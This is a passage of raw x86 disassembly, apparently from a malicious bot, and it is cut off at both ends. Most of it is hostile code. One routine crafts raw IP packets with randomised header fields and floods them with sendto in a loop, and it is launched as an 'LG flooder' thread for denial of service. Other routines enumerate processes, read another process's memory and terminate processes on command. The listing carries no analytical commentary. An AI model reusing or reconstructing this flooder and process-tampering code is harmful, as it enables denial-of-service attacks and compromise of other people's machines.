		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch


loc_405C6F:				; CODE XREF: sub_4055E5+468j
					; sub_4055E5+59Dj
		jmp	short loc_405C93
; ---------------------------------------------------------------------------


loc_405C71:				; CODE XREF: sub_4055E5+212j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset dword_418A60
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405C93:				; CODE XREF: sub_4055E5+33Aj
					; sub_4055E5+427j ...
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_1354],	eax
		and	[ebp+var_1350],	0
		jmp	short loc_405CB8
; ---------------------------------------------------------------------------


loc_405CAB:				; CODE XREF: sub_4055E5+6F9j
		mov	eax, [ebp+var_1350]
		inc	eax
		mov	[ebp+var_1350],	eax


loc_405CB8:				; CODE XREF: sub_4055E5+6C4j
		mov	eax, [ebp+var_1350]
		cmp	eax, [ebp+var_1354]
		jnb	short loc_405CE0
		mov	eax, [ebp+var_14]
		add	eax, [ebp+var_1350]
		mov	al, [eax]
		shl	al, 1
		mov	ecx, [ebp+var_14]
		add	ecx, [ebp+var_1350]
		mov	[ecx], al
		jmp	short loc_405CAB
; ---------------------------------------------------------------------------


loc_405CE0:				; CODE XREF: sub_4055E5+6DFj
		mov	eax, [ebp+var_1354]
		add	eax, 1Ch
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+2], ax
		call	sub_41043F
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+4], ax
		call	sub_410483
		neg	eax
		sbb	eax, eax
		and	al, 0C0h
		add	eax, 80h
		mov	ecx, [ebp+var_133C]
		mov	[ecx+8], al
		push	2
		push	offset dword_41EF18
		call	dword_417244	; inet_addr
		push	eax
		call	sub_4040E8
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_133C]
		mov	[ecx+0Ch], eax
		mov	eax, [ebp+var_1354]
		add	eax, 14h
		push	eax
		push	[ebp+var_133C]
		call	sub_40407D
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_133C]
		mov	[ecx+0Ah], ax
		movzx	eax, [ebp+var_E]
		test	eax, eax
		jnz	short loc_405D7F
		call	sub_41043F
		mov	ecx, [ebp+var_133C]
		mov	[ecx+16h], ax


loc_405D7F:				; CODE XREF: sub_4055E5+789j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+14h], ax
		mov	eax, [ebp+var_1354]
		add	eax, 8
		push	eax
		call	dword_417238	; htons
		mov	ecx, [ebp+var_133C]
		mov	[ecx+18h], ax
		push	10h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		mov	eax, [ebp+var_1354]
		add	eax, 1Ch
		push	eax
		lea	eax, [ebp+var_1074]
		push	eax
		push	[ebp+var_1078]
		call	dword_417250	; sendto
		mov	[ebp+var_1348],	eax
		cmp	[ebp+var_1348],	0FFFFFFFFh
		jnz	short loc_405E08
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		push	[ebp+var_1078]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	short locret_405E41
; ---------------------------------------------------------------------------


loc_405E08:				; CODE XREF: sub_4055E5+805j
		push	[ebp+var_1083]
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1334]
		cmp	dword ptr [eax+4], 0
		jz	short loc_405E22
		jmp	short loc_405E27
; ---------------------------------------------------------------------------


loc_405E22:				; CODE XREF: sub_4055E5+839j
		jmp	loc_4057A9
; ---------------------------------------------------------------------------


loc_405E27:				; CODE XREF: sub_4055E5+1DDj
					; sub_4055E5+83Bj
		push	[ebp+var_1078]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_405E41:				; CODE XREF: sub_4055E5+59j
					; sub_4055E5+94j ...
		leave
		retn	4
sub_4055E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E45	proc near		; CODE XREF: sub_40A9CF+8B2p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_4], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_8], 0
		jz	short loc_405E5D
		cmp	[ebp+arg_14], 0
		jnz	short loc_405E62


loc_405E5D:				; CODE XREF: sub_405E45+Aj
					; sub_405E45+10j
		jmp	locret_405F65
; ---------------------------------------------------------------------------


loc_405E62:				; CODE XREF: sub_405E45+16j
		push	2B9h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405E7B
		jmp	locret_405F65
; ---------------------------------------------------------------------------


loc_405E7B:				; CODE XREF: sub_405E45+2Fj
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		push	100h
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 1A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	6
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		add	eax, 2A7h
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2ADh], eax
		push	[ebp+arg_10]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B1h], eax
		push	[ebp+arg_14]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	ecx, [ebp+var_4]
		mov	[ecx+2B5h], eax
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 0EA60h
		jge	short loc_405F0E
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_8], eax
		jmp	short loc_405F15
; ---------------------------------------------------------------------------


loc_405F0E:				; CODE XREF: sub_405E45+B9j
		mov	[ebp+var_8], 0EA60h


loc_405F15:				; CODE XREF: sub_405E45+C7j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_8]
		mov	[eax+2B1h], ecx
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+2B1h], 64h
		jle	short loc_405F3B
		mov	eax, [ebp+var_4]
		mov	eax, [eax+2B1h]
		mov	[ebp+var_C], eax
		jmp	short loc_405F42
; ---------------------------------------------------------------------------


loc_405F3B:				; CODE XREF: sub_405E45+E6j
		mov	[ebp+var_C], 64h


loc_405F42:				; CODE XREF: sub_405E45+F4j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[eax+2B1h], ecx
		push	offset aLgFlooder ; "LG	flooder"
		push	0
		push	[ebp+var_4]
		push	offset sub_4055E5
		call	sub_4095A4
		add	esp, 10h

locret_405F65:				; CODE XREF: sub_405E45:loc_405E5Dj
					; sub_405E45+31j
		leave
		retn
sub_405E45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F67	proc near		; CODE XREF: sub_4017AA+6Ep
					; sub_401D6E+77p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		jnz	short loc_405F8E
		push	1A3h
		push	0
		push	[ebp+arg_0]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	byte ptr [eax+198h], 1
		jmp	short loc_405FA1
; ---------------------------------------------------------------------------


loc_405F8E:				; CODE XREF: sub_405F67+7j
		push	1A3h
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416B52	; memcpy
		add	esp, 0Ch


loc_405FA1:				; CODE XREF: sub_405F67+25j
		pop	ebp
		retn
sub_405F67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405FA3	proc near		; CODE XREF: .data:004168C1p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	offset dword_41E280
		call	sub_409C36
		pop	ecx
		push	offset aPsapi_dll ; "psapi.dll"
		call	dword_417054	; LoadLibraryA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_405FC8
		jmp	short locret_40603F
; ---------------------------------------------------------------------------


loc_405FC8:				; CODE XREF: sub_405FA3+21j
		push	offset aEnumprocesses ;	"EnumProcesses"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E27C, eax
		push	offset aEnumprocessmod ; "EnumProcessModules"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E270, eax
		push	offset aGetmodulefilen ; "GetModuleFileNameExA"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E274, eax
		push	offset aGetmoduleinfor ; "GetModuleInformation"
		push	[ebp+var_4]
		call	dword_417058	; GetProcAddress
		mov	dword_41E278, eax
		cmp	dword_41E27C, 0
		jz	short locret_40603F
		cmp	dword_41E270, 0
		jz	short locret_40603F
		cmp	dword_41E274, 0
		jz	short locret_40603F
		cmp	dword_41E278, 0
		jz	short locret_40603F
		mov	byte_41E29C, 1

locret_40603F:				; CODE XREF: sub_405FA3+23j
					; sub_405FA3+78j ...
		leave
		retn
sub_405FA3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406041	proc near		; CODE XREF: sub_401244:loc_40129Dp
					; sub_40637C+29p

var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_130		= dword	ptr -130h
var_12C		= byte ptr -12Ch
var_12B		= byte ptr -12Bh
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 13Ch
		push	esi
		push	edi
		push	offset dword_41E280
		call	sub_409C6C
		pop	ecx
		movzx	eax, byte_41E29C
		test	eax, eax
		jnz	short loc_406074
		push	offset dword_41E280
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	loc_40636A
; ---------------------------------------------------------------------------


loc_406074:				; CODE XREF: sub_406041+1Fj
		and	[ebp+var_C], 0
		and	[ebp+var_4], 0
		and	[ebp+var_1C], 0
		push	[ebp+var_1C]
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_406097
		jmp	loc_406368
; ---------------------------------------------------------------------------


loc_406097:				; CODE XREF: sub_406041+4Fj
					; sub_406041:loc_4060E9j
		mov	eax, [ebp+var_1C]
		add	eax, 80h
		mov	[ebp+var_1C], eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	sub_416BF6	; realloc
		pop	ecx
		pop	ecx
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4060BD
		jmp	loc_406366
; ---------------------------------------------------------------------------


loc_4060BD:				; CODE XREF: sub_406041+75j
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+var_1C]
		push	[ebp+var_14]
		call	dword_41E27C
		test	eax, eax
		jnz	short loc_4060DF
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_406364
; ---------------------------------------------------------------------------


loc_4060DF:				; CODE XREF: sub_406041+8Ej
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_1C]
		jnb	short loc_4060E9
		jmp	short loc_4060EB
; ---------------------------------------------------------------------------


loc_4060E9:				; CODE XREF: sub_406041+A4j
		jmp	short loc_406097
; ---------------------------------------------------------------------------


loc_4060EB:				; CODE XREF: sub_406041+A6j
		mov	eax, [ebp+var_4]
		shr	eax, 2
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		imul	eax, 114h
		add	eax, 8
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_40611E
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		jmp	loc_406362
; ---------------------------------------------------------------------------


loc_40611E:				; CODE XREF: sub_406041+CDj
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	eax, [ebp+var_C]
		add	eax, 8
		mov	ecx, [ebp+var_C]
		mov	[ecx+4], eax
		and	[ebp+var_10], 0
		jmp	short loc_40613F
; ---------------------------------------------------------------------------


loc_406138:				; CODE XREF: sub_406041+156j
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_40613F:				; CODE XREF: sub_406041+F5j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	short loc_406199
		push	114h
		push	0
		mov	eax, [ebp+var_C]
		push	dword ptr [eax+4]
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	edx, [esi+edx*4]
		mov	[ecx+eax], edx
		push	offset aSystem	; "system"
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_406138
; ---------------------------------------------------------------------------


loc_406199:				; CODE XREF: sub_406041+104j
		push	[ebp+var_14]
		call	sub_416B4C	; free
		pop	ecx
		and	[ebp+var_10], 0
		jmp	short loc_4061AF
; ---------------------------------------------------------------------------


loc_4061A8:				; CODE XREF: sub_406041+1A8j
					; sub_406041+1D8j ...
		mov	eax, [ebp+var_10]
		inc	eax
		mov	[ebp+var_10], eax


loc_4061AF:				; CODE XREF: sub_406041+165j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_8]
		jnb	loc_406343
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	0
		push	410h
		call	dword_417094	; OpenProcess
		mov	[ebp+var_130], eax
		cmp	[ebp+var_130], 0
		jnz	short loc_4061EB
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------


loc_4061EB:				; CODE XREF: sub_406041+1A6j
		and	[ebp+var_20], 0
		and	[ebp+var_28], 0
		lea	eax, [ebp+var_20]
		push	eax
		push	4
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+var_130]
		call	dword_41E270
		test	eax, eax
		jnz	short loc_40621B
		push	[ebp+var_130]
		call	dword_4170A4	; CloseHandle
		jmp	short loc_4061A8
; ---------------------------------------------------------------------------


loc_40621B:				; CODE XREF: sub_406041+1CAj
		push	0Ch
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_28]
		push	[ebp+var_130]
		call	dword_41E278
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_13C]
		mov	[ecx+eax+4], edx
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_138]
		mov	[ecx+eax+8], edx
		mov	al, byte_41DE00
		mov	[ebp+var_12C], al
		push	40h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_12B]
		rep stosd
		stosw
		stosb
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_13C]
		push	[ebp+var_130]
		call	dword_41E274
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	loc_406332
		movsx	eax, [ebp+var_12C]
		test	eax, eax
		jz	short loc_406332
		push	104h
		lea	eax, [ebp+var_12C]
		push	eax
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		call	sub_416B58	; strncpy
		add	esp, 0Ch
		lea	eax, [ebp+var_12C]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_18], eax
		jmp	short loc_4062F7
; ---------------------------------------------------------------------------


loc_4062F0:				; CODE XREF: sub_406041:loc_406330j
		mov	eax, [ebp+var_18]
		dec	eax
		mov	[ebp+var_18], eax


loc_4062F7:				; CODE XREF: sub_406041+2ADj
		cmp	[ebp+var_18], 0
		jz	short loc_406332
		cmp	[ebp+var_18], 1
		ja	short loc_406305
		jmp	short loc_406332
; ---------------------------------------------------------------------------


loc_406305:				; CODE XREF: sub_406041+2C0j
		mov	eax, [ebp+var_18]
		movsx	eax, byte ptr [ebp+eax+var_130+3]
		cmp	eax, 5Ch
		jnz	short loc_406330
		mov	eax, [ebp+var_10]
		imul	eax, 114h
		mov	ecx, [ebp+var_C]
		mov	ecx, [ecx+4]
		mov	edx, [ebp+var_18]
		mov	[ecx+eax+110h],	edx
		jmp	short loc_406332
; ---------------------------------------------------------------------------


loc_406330:				; CODE XREF: sub_406041+2D2j
		jmp	short loc_4062F0
; ---------------------------------------------------------------------------


loc_406332:				; CODE XREF: sub_406041+264j
					; sub_406041+273j ...
		push	[ebp+var_130]
		call	dword_4170A4	; CloseHandle
		jmp	loc_4061A8
; ---------------------------------------------------------------------------


loc_406343:				; CODE XREF: sub_406041+174j
		push	offset dword_41E280
		call	sub_409C7A
		pop	ecx
		mov	eax, [ebp+var_C]
		jmp	short loc_40636A
; ---------------------------------------------------------------------------


loc_406353:				; CODE XREF: sub_406041:loc_406362j
					; sub_406041:loc_406364j ...
		push	offset dword_41E280
		call	sub_409C7A
		pop	ecx
		xor	eax, eax
		jmp	short loc_40636A
; ---------------------------------------------------------------------------


loc_406362:				; CODE XREF: sub_406041+D8j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406364:				; CODE XREF: sub_406041+99j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406366:				; CODE XREF: sub_406041+77j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_406368:				; CODE XREF: sub_406041+51j
		jmp	short loc_406353
; ---------------------------------------------------------------------------


loc_40636A:				; CODE XREF: sub_406041+2Ej
					; sub_406041+310j ...
		pop	edi
		pop	esi
		leave
		retn
sub_406041	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40636E	proc near		; CODE XREF: sub_401244+4D2p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		pop	ebp
		retn
sub_40636E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40637C	proc near		; DATA XREF: sub_4064BF+3Bo

var_1B0		= dword	ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		call	sub_406041
		mov	[ebp+var_1AC], eax
		cmp	[ebp+var_1AC], 0
		jz	loc_4064AD
		mov	eax, [ebp+var_1AC]
		push	dword ptr [eax]
		mov	eax, [ebp+var_1A8]
		push	dword ptr [eax]
		push	offset dword_418B1C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 10h
		and	[ebp+var_1B0], 0
		jmp	short loc_4063F7
; ---------------------------------------------------------------------------


loc_4063EA:				; CODE XREF: sub_40637C:loc_40649Cj
		mov	eax, [ebp+var_1B0]
		inc	eax
		mov	[ebp+var_1B0], eax


loc_4063F7:				; CODE XREF: sub_40637C+6Cj
		mov	eax, [ebp+var_1AC]
		mov	ecx, [ebp+var_1B0]
		cmp	ecx, [eax]
		jge	loc_4064A1
		push	3E8h
		call	dword_41709C	; Sleep
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		lea	eax, [ecx+eax+0Ch]
		push	eax
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+8]
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax+4]
		mov	eax, [ebp+var_1B0]
		imul	eax, 114h
		mov	ecx, [ebp+var_1AC]
		mov	ecx, [ecx+4]
		push	dword ptr [ecx+eax]
		push	offset dword_418B04
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		mov	eax, [ebp+var_1A8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_40649C
		jmp	short loc_4064A1
; ---------------------------------------------------------------------------


loc_40649C:				; CODE XREF: sub_40637C+11Cj
		jmp	loc_4063EA
; ---------------------------------------------------------------------------


loc_4064A1:				; CODE XREF: sub_40637C+89j
					; sub_40637C+11Ej
		push	[ebp+var_1AC]
		call	sub_416B4C	; free
		pop	ecx


loc_4064AD:				; CODE XREF: sub_40637C+3Bj
		push	[ebp+var_1A8]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_40637C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4064BF	proc near		; CODE XREF: sub_40A9CF+3FFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1A7h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4064D9
		jmp	short locret_406507
; ---------------------------------------------------------------------------


loc_4064D9:				; CODE XREF: sub_4064BF+16j
		push	1A3h
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	offset dword_418B44
		push	0
		push	[ebp+var_4]
		push	offset sub_40637C
		call	sub_4095A4
		add	esp, 10h

locret_406507:				; CODE XREF: sub_4064BF+18j
		leave
		retn
sub_4064BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406509	proc near		; CODE XREF: sub_40A9CF+9C9p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	[ebp+arg_4], 0
		jz	short loc_40651B
		cmp	[ebp+arg_C], 0
		jnz	short loc_406520


loc_40651B:				; CODE XREF: sub_406509+Aj
		jmp	locret_406641
; ---------------------------------------------------------------------------


loc_406520:				; CODE XREF: sub_406509+10j
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		push	[ebp+arg_8]
		call	sub_40A8AD
		pop	ecx
		mov	[ebp+var_C], eax
		push	[ebp+arg_C]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 180h
		jbe	short loc_406554
		mov	[ebp+var_4], 180h


loc_406554:				; CODE XREF: sub_406509+42j
		mov	eax, [ebp+var_4]
		inc	eax
		push	eax
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_1C], eax
		push	[ebp+var_8]
		push	0
		push	10h
		call	dword_417094	; OpenProcess
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jnz	short loc_406586
		push	[ebp+var_1C]
		call	sub_416B4C	; free
		pop	ecx
		jmp	locret_406641
; ---------------------------------------------------------------------------


loc_406586:				; CODE XREF: sub_406509+6Dj
		and	[ebp+var_14], 0
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_1C]
		push	[ebp+var_C]
		push	[ebp+var_18]
		call	dword_417098	; ReadProcessMemory
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	loc_40662F
		cmp	[ebp+var_14], 0
		jz	short loc_40662F
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		and	[ebp+var_20], 0
		jmp	short loc_4065C9
; ---------------------------------------------------------------------------


loc_4065C2:				; CODE XREF: sub_406509:loc_406620j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_4065C9:				; CODE XREF: sub_406509+B7j
		mov	eax, [ebp+var_20]
		cmp	eax, [ebp+var_14]
		jnb	short loc_406622
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Ah
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 0Dh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 1Fh
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 16h
		jz	short loc_406617
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 10h
		jg	short loc_406620


loc_406617:				; CODE XREF: sub_406509+D4j
					; sub_406509+E2j ...
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_20]
		mov	byte ptr [eax],	2Eh


loc_406620:				; CODE XREF: sub_406509+10Cj
		jmp	short loc_4065C2
; ---------------------------------------------------------------------------


loc_406622:				; CODE XREF: sub_406509+C6j
		push	[ebp+var_1C]
		push	[ebp+arg_0]
		call	sub_40D53F
		pop	ecx
		pop	ecx


loc_40662F:				; CODE XREF: sub_406509+9Ej
					; sub_406509+A8j
		push	[ebp+var_1C]
		call	sub_416B4C	; free
		pop	ecx
		push	[ebp+var_18]
		call	dword_4170A4	; CloseHandle

locret_406641:				; CODE XREF: sub_406509:loc_40651Bj
					; sub_406509+78j
		leave
		retn
sub_406509	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406643	proc near		; CODE XREF: sub_40A9CF+3D7p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_406650
		jmp	short locret_40668D
; ---------------------------------------------------------------------------


loc_406650:				; CODE XREF: sub_406643+9j
		push	[ebp+arg_4]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_4], eax
		call	dword_4170E8	; GetCurrentProcessId
		cmp	[ebp+var_4], eax
		jnz	short loc_406669
		jmp	short locret_40668D
; ---------------------------------------------------------------------------


loc_406669:				; CODE XREF: sub_406643+22j
		push	[ebp+var_4]
		push	0
		push	1
		call	dword_417094	; OpenProcess
		mov	[ebp+var_8], eax
		push	0
		push	[ebp+var_8]
		call	dword_4170A0	; TerminateProcess
		push	[ebp+var_8]
		call	dword_4170A4	; CloseHandle

locret_40668D:				; CODE XREF: sub_406643+Bj
					; sub_406643+24j
		leave
		retn
sub_406643	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40668F	proc near		; CODE XREF: sub_403DF3+149p
					; sub_40A9CF+BDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_4066A0
; ---------------------------------------------------------------------------


loc_406699:				; CODE XREF: sub_40668F+2Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_4066A0:				; CODE XREF: sub_40668F+8j
		cmp	[ebp+var_4], 8
		jge	short loc_4066BB
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_406699
; ---------------------------------------------------------------------------


loc_4066BB:				; CODE XREF: sub_40668F+15j
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+8], 0
		and	[ebp+var_4], 0
		jmp	short loc_4066CF
; ---------------------------------------------------------------------------


loc_4066C8:				; CODE XREF: sub_40668F+59j
